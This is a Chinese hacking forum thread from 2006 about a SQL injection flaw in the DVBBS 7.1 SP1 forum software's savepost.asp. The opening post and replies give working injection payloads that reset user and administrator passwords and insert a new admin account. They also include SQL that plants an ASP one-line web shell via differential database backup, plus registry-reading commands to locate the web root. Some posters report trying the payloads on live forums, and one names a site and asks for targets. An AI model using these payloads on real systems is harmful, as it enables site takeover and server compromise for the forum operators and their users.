28 12
发新话题
打印

[原创]对dvbbs7.1 sp1最新savepost.asp漏洞的研究和利用

[原创]对dvbbs7.1 sp1最新savepost.asp漏洞的研究和利用

文章作者:风尘浪子
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

动网论坛(DVBBS 7.1.0 SP1)Savepost.asp存在严重漏洞10-May-06
发现:Bug.Center.Team
严重程度:严重
厂商名称:动网论坛(DVBBS)
程序版本:DVBBS 7.1.0 SP1

漏洞分析:
   因为程序在savepost.asp文件中变量过滤不严,导致数据库处理产生漏洞,可以取得论坛所有权限以及webshell。已经提交官方审核,并通过确认,补丁已经公布

厂商补丁:
      http://bbs.dvbbs.net/dispbbs.asp ... =1187367&page=1


     最新漏洞出来了,之前看见bct的人在qq群叫卖漏洞,要卖500大洋。没想到两天不到,就把漏洞发了。从 http://bbs.dvbbs.net/dispbbs.asp ... =1187367&page=1下了个补丁,看了看,修改了许多。仔细看看Savepost.asp,发现也修改了许多地方。
怎么办呢,看不到修改在哪里,只好自己朝下看了。
看到下面:
复制内容到剪贴板
代码:
If Not IsNumeric(Buy_VIPType) Then Buy_VIPType = 0
           If Buy_UserList<>"" Then Buy_UserList = Replace(Replace(Replace(Buy_UserList,"|||",""),"@@@",""),"$PayMoney","")
           ToolsBuyUser = "0@@@"&Buy_Orders&"@@@"&Buy_VIPType&"@@@"&Buy_UserList&"|||$PayMoney|||"
           GetMoneyType = 3
           &#39;UseTools = ToolsInfo(4)
再朝下看:
复制内容到剪贴板
代码:
Public Sub Insert_To_Announce()
      &#39;插入回复表
      DIM UbblistBody
      UbblistBody = Content
      UbblistBody = Ubblist(Content)
      SQL="insert into "&TotalUseTable&"(Boardid,ParentID,username,topic,body,DateAndTime,length,RootID,layer,orders,ip,Expression,locktopic,signflag,emailflag,isbest,PostUserID,isupload,IsAudit,Ubblist,GetMoney,UseTools,PostBuyUser,GetMoneyType) values ("&Dvbbs.boardid&","&ParentID&",&#39;"&username&"&#39;,&#39;"&topic&"&#39;,&#39;"&Content&"&#39;,&#39;"&DateTimeStr&"&#39;,&#39;"&Dvbbs.strlength(Content)&"&#39;,"&RootID&","&ilayer&","&iorders&",&#39;"&Dvbbs.UserTrueIP&"&#39;,&#39;"&Expression(1)&"&#39;,"&locktopic&","&signflag&","&mailflag&",0,"&Dvbbs.userid&","&ihaveupfile&","&IsAudit&",&#39;"&UbblistBody&"&#39;,"&ToMoney&",&#39;"&UseTools&"&#39;,&#39;"&ToolsBuyUser&"&#39;,"&GetMoneyType&")"
   Dvbbs.Execute(sql)
可以看到Buy_UserList这个变量过滤有问题,呵呵,这个变量又导致ToolsBuyUser这个变量有问题。的确是可以注射,呵呵。
在悔过头来看补丁里面:
insert里面有修补:&dvbbs.checkstr(ToolsBuyUser)&"
看来应该是这个地方了。
利用起来最好是sql版本,可以updata改管理员密码,或者差异备份得shell。
利用办法嘛,先注册一个id,找个版面发帖子,
帖子内容下面有个选择帖子类型。
选择---论坛交易币设置。
下面是表单内容。

看源代码:
复制内容到剪贴板
代码:
<option value="">选择帖子类型</option>
<option value="0">赠送金币贴</option>
<option value="1">获赠金币贴</option>
<option value="2">论坛交易帖设置</option>
</select>
金币数量:<input name="ToMoney" size="4" value="">
<div id="Buy_setting" style="display:none">
购买数量限制:<input name="Buy_Orders" size="4" value="-1">(设置为“-1”则不限制)<BR>
VIP用户浏览选项:不需要购买<INPUT TYPE="radio" NAME="Buy_VIPType" value="0" checked="checked">,需要购买<input type="radio" name="Buy_VIPType" value="1" /><br />
可购买用户名单限制:<input name="Buy_UserList" size="30" value="" />(每个用户名用英文逗号“,”分隔符分开,注意区分大小写)
</div>
就是这个地方了,hoho。
下面有个“可购买名单限制”,里面就填写:
引用:
xjy111&#39;,0);update/**/Dv_User/**/set/**/UserEmail=(select[Password]from/**/Dv_admin/**/where[Username]=&#39;yellowcat&#39;)/**/where[UserName]=&#39;qq156544632&#39;;--
提交成功。
看看我的Email。
晕死,居然成了空白。不知道为什么哈。
来点直接的:
引用:
coolidea|||123&#39;,0);update/**/Dv_User/**/set/**/UserPassword=&#39;469e80d32c0559f8&#39;/**/where[UserName]=&#39;qq156544632&#39;;--
这回好了,先退出,用admin888这个密码直接成功登录。
好了,语句没有问题,大家现在可以自由发挥,会写工具的,吧delphi什么的搬出来。
直接改管理员的密码进后台,可以恢复数据库的办法得到shell(参考angel的文章,dvbbs7.1sql版本依然可以吧)
或者差异备份(后台可以看到web绝对路径):
复制内容到剪贴板
代码:
create table aspshell (str image);

declare @a sysname select @a=db_name() backup database @a to disk=&#39;D:\wwwroot\dvbbs7sp1\wwwroot\qq156544632.bak;

insert into aspshell values(0x3C256576616C20726571756573742822232229253E);
declare @a sysname select @a=db_name() backup database @a to disk=&#39;D:\wwwroot\dvbbs7sp1\wwwroot\qq156544632.asp&#39; with differential;

drop table aspshell;
另外一种得到web绝对路径办法(从职业欠钱兄弟那里看到的)
复制内容到剪贴板
代码:
create table regread(a varchar(255),b varchar(255));
(建立一个临时表,存放读取到的信息)
复制内容到剪贴板
代码:
insert regread exec master.dbo.xp_regread &#39;HKEY_LOCAL_MACHINE&#39;,&#39;SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots&#39;, &#39;/&#39;
(使用xp_regread这个函数读取注册表信息得到虚拟目录路径,并存入临时表中)
update dv_boke_user set boketitle=(select top 1 b from regread) where bokename=&#39;admin&#39;
至于acess版本没有研究。

最近正在做毕业设计,日忙,一点也没有时间。发在这里大家讨论去吧。本人是一个大菜鸟,错误难免,或许bct的人发现的不是这个地方呢。
此漏洞危害很大,bct意见把dvbbs官方和某著名论坛搞定了。我是本地测试的,本来想到黑防上面去测试一下,发现不能发金币贴,差点郁闷致死!
吃饭去了。。。闪。
http://hi/.baidu.com/1565446321

TOP

引用:
这里是引用第[3 楼]reject2006-05-11 18:21发表的:
建议楼主出来修改澄清下吧....
有些话不能睁眼乱说的.要有真凭实据的.
BCT一直都没卖过漏洞.也不会卖..`
可能楼主也是看见有位人QQ上写的签名资料吧,  (为了保护隐私,在此以XX代替;)

以前相关资料的写着XX属于BCT组织,  而QQ签名上贸然的写着 出售动网7.1 SQL最新漏洞可以拿webshell,   
我想FlyAway 也是误认为 BCT组织在出售其漏洞吧!

TOP

我晕啊 [s:72] 怎么大家都针对我啊,怎么这么敏感啊?
我可要说实话了啊,
首先是 魔王,魔王不知道是不是bct的,再教主交流群里面买漏洞,500。
接着是 疯狗 ,疯狗好像是bct的,也在里面卖漏洞,也500,
我怀疑是之前的博客注射漏洞,问剑心 老弟,剑心绝对是bct的,还是500,说便宜点300。
至于入侵某知名论坛,和dv官方,我这还有截图呢。是疯狗在群里面发的,怕别人不相信。
hoho,其实也没什么,不好意思了,这里给bct道个谦。



[s:74]
http://hi/.baidu.com/1565446321

TOP

access好像不支持多语句的

所以提交后会出现


Microsoft JET Database Engine 错误 &#39;80040e14&#39;

在 SQL 语句结尾之后找到字符。

/bbs/inc/Dv_ClsMain.asp,行1334

TOP

access,没有办法,至少我是没有办法, [s:80],
上面差异备份语句,掉了个单引号,这里修正下。。。不好意思。
复制内容到剪贴板
代码:
0x71713135363534343633322E62616B               
                                                 qq156544632.bak

0x443A5C7275636F6C5F73716C5C61646D696E5C3135363534343633322E617370                                                D:\rucol_sql\admin\156544632.asp

0x3C25657865637574652872657175657374282261222929253E        
                                              <%execute(request("a"))%>


flyaway&#39;,0);declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x71713135363534343633322E62616B backup database @a to disk=@s--

flyaway&#39;,0);create table [dbo].[xiaolu] ([cmd] [p_w_picpath]);--

flyaway&#39;,0);insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)--

flyaway&#39;,0);declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x443A5C7275636F6C5F73716C5C61646D696E5C3135363534343633322E617370 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT--
其他的自由发挥,如果权限不够,差异备份不行,
可以使用恢复数据库的办法,数据库格式有判断,在这里有一个做好的。
http://www.eviloctal.com/forum/j ... =16733&aid=3717
插入的是<%ExeCute request("a")%>
http://hi/.baidu.com/1565446321

TOP

前台提后台
coolidea|||123&#39;,0);Insert/**/into/**/Dv_admin(Password,Username,Adduser,Flag)/**/values(&#39;7a57a5a743894a0e&#39;,&#39;id&#39;,&#39;id&#39;,&#39;1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36&#39;);--

还改啥?

TOP

引用:
这里是引用第[2 楼]风尘浪子2006-05-11 23:24发表的:
我晕啊 [s:72] 怎么大家都针对我啊,怎么这么敏感啊?
我可要说实话了啊,
首先是 魔王,魔王不知道是不是bct的,再教主交流群里面买漏洞,500。
接着是 疯狗 ,疯狗好像是bct的,也在里面卖漏洞,也500,
我怀疑是之前的博客注射漏洞,问剑心 老弟,剑心绝对是bct的,还是500,说便宜点300。
.......
我可以证明你说的完全真实!

此漏洞是不是只针对sql版本啊?

TOP

sql动网的论坛不好找啊.
前段时间通过备份access数据库,明明代码已经在备份后的asp文件中了..可它就是不运行..
现在也不解..

TOP

修改前台登陆密码
coolidea|||123&#39;,0);update/**/Dv_User/**/set/**/UserPassword=&#39;469e80d32c0559f8&#39;/**/where[UserName]=&#39;admin&#39;;--

修改后台登陆密码
coolidea|||123&#39;,0);update/**/Dv_Admin/**/set/**/Password=&#39;469e80d32c0559f8&#39;/**/where[UserName]=&#39;admin&#39;;--

顺道问一句.有个论坛找不到管理员的帐号.
http://xxxx.com.cn/bbs/dispuser.asp?name=admin 可惜不是管理组
有什么办法可以爆出管理员组中的所有帐号?

TOP

引用:
这里是引用第[11 楼]林立秀2006-05-17 11:16发表的:
修改前台登陆密码
coolidea|||123&#39;,0);update/**/Dv_User/**/set/**/UserPassword=&#39;469e80d32c0559f8&#39;/**/where[UserName]=&#39;admin&#39;;--

修改后台登陆密码
coolidea|||123&#39;,0);update/**/Dv_Admin/**/set/**/Password=&#39;469e80d32c0559f8&#39;/**/where[UserName]=&#39;admin&#39;;--
.......
去那些版块看看
应该可以看到那些管理员发的帖子
还有有些斑竹也是管理员的 
看看就知道了

TOP

引用:
这里是引用第[9 楼]wyulnnhtg2006-05-17 10:13发表的:
sql动网的论坛不好找啊.
前段时间通过备份access数据库,明明代码已经在备份后的asp文件中了..可它就是不运行..
现在也不解..
可能是你备份的目录没有执行权限,备份到别的目录试试

TOP

洞网这种论坛还要讨论干啥..一浏览我的浏览器就会出现假死.快点淘汰..

偶不知道洞网还会坚持多久..ASP的论坛没见过一个效率高的.

洞网前阵子说的要上PHP的,估计没那么容易吧..全部都是老型的网页设计人员,对PHP不熟悉啊..

TOP

引用:
这里是引用第[11 楼]leave2006-05-23 15:39发表的:
洞网这种论坛还要讨论干啥..一浏览我的浏览器就会出现假死.快点淘汰..

偶不知道洞网还会坚持多久..ASP的论坛没见过一个效率高的.

洞网前阵子说的要上PHP的,估计没那么容易吧..全部都是老型的网页设计人员,对PHP不熟悉啊..
leadbbs不知道你见过没?csdn论坛你上过没?
你跟dvbbs的人很熟悉?
广告位招商! 联系人:neeao E-Mail:neeaocn(at)gmail.com Msn:neeao@hotmail.com Site:http://www.neeao.com

TOP

asp在国际上各类辅助支持较广,短期之内估计不会退出历史舞台。
至于漏洞,好像所有的程序都在所难免,就像每个人都有失败之处一样,但是成败优劣看得是大局。
人情如冰六月寒,花做一份艳,为谁笑人间? 如果任何人发现我转载的有图像的文章中图像失效或者文章有问题,请及时短消息通知我。先谢谢。::)) coup de foudre

TOP

access好像是不支持多sql语句执行。
上面的利用方法(update更新表改密码),是在完全了解数据库结构的情况下进去的利用。但是如果不知道数据库表结构的情况下有没好的利用方法?来实现数据库表查询和更新呢?
在我纯真年少時,有一個女生,她願意爲我失去生命,她意志堅定地說:你再纏著我,我就去死! 在我負笈外地時,有一個女生,她願意等我到下輩子,她溫柔婉約地說:你想成爲我男友?等下輩子!! 在我窮困潦倒時,有一個女生,她願意與我共赴黃泉,她眨著紅眼說:你再不還錢,我和你同歸于盡!

TOP

毕竟现在研发PHP的人相对ASP的要少之又少,更何况现在网站这么多,没有技术的网管又一堆堆的,php怎么可能要他们接受呢?html的都做得那么垃圾,asp的就要他们慢慢用别人的程序吧!不过不可否认的是ASP在不久的将来也必然会退出历史的舞台,只是时间的问题!

TOP

修改后台登陆密码
coolidea|||123&#39;,0);update/**/Dv_Admin/**/set/**/Password=&#39;469e80d32c0559f8&#39;/**/where[UserName]=&#39;admin&#39;;--

试了n个都不成功,是admin不是后台管理员的原因。
hacked by kenyou!  

TOP

引用:
这里是引用第[16 楼]hbk2006-05-31 10:51发表的:
修改后台登陆密码
coolidea|||123&#39;,0);update/**/Dv_Admin/**/set/**/Password=&#39;469e80d32c0559f8&#39;/**/where[UserName]=&#39;admin&#39;;--

试了n个都不成功,是admin不是后台管理员的原因。
你的原因也有可能是这位哥们说的原因 “但是如果不知道数据库表结构的情况下有没好的利用方法?来实现数据库表查询和更新呢?”


access好像是不支持多sql语句执行。
上面的利用方法(update更新表改密码),是在完全了解数据库结构的情况下进去的利用。但是如果不知道数据库表结构的情况下有没好的利用方法?来实现数据库表查询和更新呢?

TOP

压根连自己密码都没改成 自己试了个大的论坛 真失败的。。。
可能是改了表名

TOP

coolidea|||123&#39;,0);update/**/Dv_Admin/**/set/**/Password=&#39;469e80d32c0559f8&#39;/**/where[UserName]=&#39;admin&#39;;--

我也是试了NNNNN次也不成功 `

TOP

请问每条语句如“
coolidea|||123&#39;,0);update/**/Dv_User/**/set/**/UserPassword=&#39;469e80d32c0559f8&#39;/**/where[UserName]=&#39;qq156544632&#39;;--”中的

开头“coolidea|||123&#39;.0)”和最后的“;--”是什么意思啊

TOP

引用:
这里是引用第[2 楼]风尘浪子2006-05-11 23:24发表的:
我晕啊 [s:72] 怎么大家都针对我啊,怎么这么敏感啊?
我可要说实话了啊,
首先是 魔王,魔王不知道是不是bct的,再教主交流群里面买漏洞,500。
接着是 疯狗 ,疯狗好像是bct的,也在里面卖漏洞,也500,
我怀疑是之前的博客注射漏洞,问剑心 老弟,剑心绝对是bct的,还是500,说便宜点300。
.......
他们确实是BCT的  汗.........很正常 黑客也要生活

TOP

我总是不成功。。哪位大大http://www.ccwresearch.com.cn/bbs帮我看下这个。。
不论是用论坛上所说的BOKE还是这种办法都不行。。。不是故意要弄这个网站的。。。大家有可以搞的网站可以推荐个。我想试试。

TOP

我觉得这个是SQL专门的漏洞吧?也没见广为流传,肯定是SQL才有的吧?
ACCESS试了好几个都不行

TOP

一般都是这样的,有时候还只能本地成功。远程就不行了。反正干扰因素挺多的
当你把不可能变成可能,你会发现你已经被称为高手

TOP

 28 12
发新话题